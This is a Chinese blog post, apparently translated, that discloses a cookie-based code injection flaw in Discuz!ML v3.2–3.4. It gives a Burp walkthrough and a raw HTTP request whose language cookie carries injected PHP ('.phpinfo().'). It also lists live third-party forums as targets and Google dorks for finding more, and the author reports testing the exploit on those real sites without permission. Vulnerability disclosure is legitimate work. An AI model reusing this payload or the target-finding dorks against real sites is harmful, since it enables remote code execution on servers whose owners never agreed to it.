Discuz!ML V3.X 代码注入漏洞

产品存在漏洞

Discuz!ML v.3.4,

Discuz!ML v.3.2,

Discuz!ML v.3.3 codersclub.org的产品

咨询发布:https//www.vulnerability-lab.com/get_content.php?id = 2185

利用POC:https//www.vulnerability-lab.com/resources/documents/2185.rar

1.0关于

Discuz!ML是一个由CodersClub.org创建的多语言,集成,功能齐全的开源网络平台,   用于构建像“社交网络”这样的互联网社区。使用这些软件创建的数百个论坛包括v3.2,v3.3,v3.4。

软件下载站点:http//discuz.ml/download

1.2使用Discuz!ML的示例站点

http://codersclub.org/

https://www.craxme.com/forum.php

http://www.killersource.net/f/

http://wizard.id/forum

http://bbs.kingsoftstore.com/forum.php

 

1.3如何区分Discuz!ML网站

通常,这些站点包含以下类型的页脚或站点的左下侧。

1.4谷歌dork:

Dork 1:“©2009-2019 codersclub.org”

Dork 2:“MultiLingual version,Rev。”

1.5 POC:概念证明

1)我已经在1.2示例站点中提到的所有站点中进行了测试。

2)所有站点代表RCE的相同行为

3)拿一个样本网站http://codersclub.org/discuzx/portal.php

4)http://codersclub.org/discuzx/portal.php       Discuz!ML的官方网站

5)浏览网站http://codersclub.org/discuzx/portal.php

6)在浏览器firefox中加载页面后,现在将代理更改为Burp套件

7)选择英语语言标志如下

9)转发请求和响应

11)浏览页面http://codersclub.org/discuzx/portal.php  并拦截Burp中的请求并将请求发送到转发器

12)仔细查看上述请求。将4gH4_0df5_language = en替换为4gH4_0df5_language = en'.phpinfo()。';

12.a)您将在下面找到显示所有phpinfo输出的响应。

原始请求:

================================================== ==================

GET /discuzx/portal.php HTTP/1.1

Host: codersclub.org

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3

Referer: http://codersclub.org/discuzx/forum.php?mod=post&action=newthread&fid=108

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.9

Cookie: 4gH4_0df5_saltkey=i6z78CBC; 4gH4_0df5_language=en’.phpinfo().’;4gH4_0df5_lastvisit=1560408594; 4gH4_0df5_viewid=tid_6172; 4gH4_0df5_home_readfeed=1560425166; uchome_mylanguage=en; 4gH4_0df5_visitedfid=108D124D101D117D121; 4gH4_0df5_st_p=0%7C1560425279%7Ca0fff244dfafcb3446bff5837994fb98; 4gH4_0df5_st_t=0%7C1560433759%7Ca320f0cfeac708308d2c42da664f7459; 4gH4_0df5_forum_lastvisit=D_101_1560425210D_124_1560425235D_108_1560433759; 4gH4_0df5_secqaa=105.00fce001dea96c4848; 4gH4_0df5_seccode=106.5f8bdf1355212b5450; 4gH4_0df5_sid=oEN241; 4gH4_0df5_sendmail=1; 4gH4_0df5_lastact=1560440381%09member.php%09logging

Connection: close

参考资料

http://esoln.net/esoln/blog/2019/06/14/discuzml-v-3-x-code-injection-vulnerability/

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: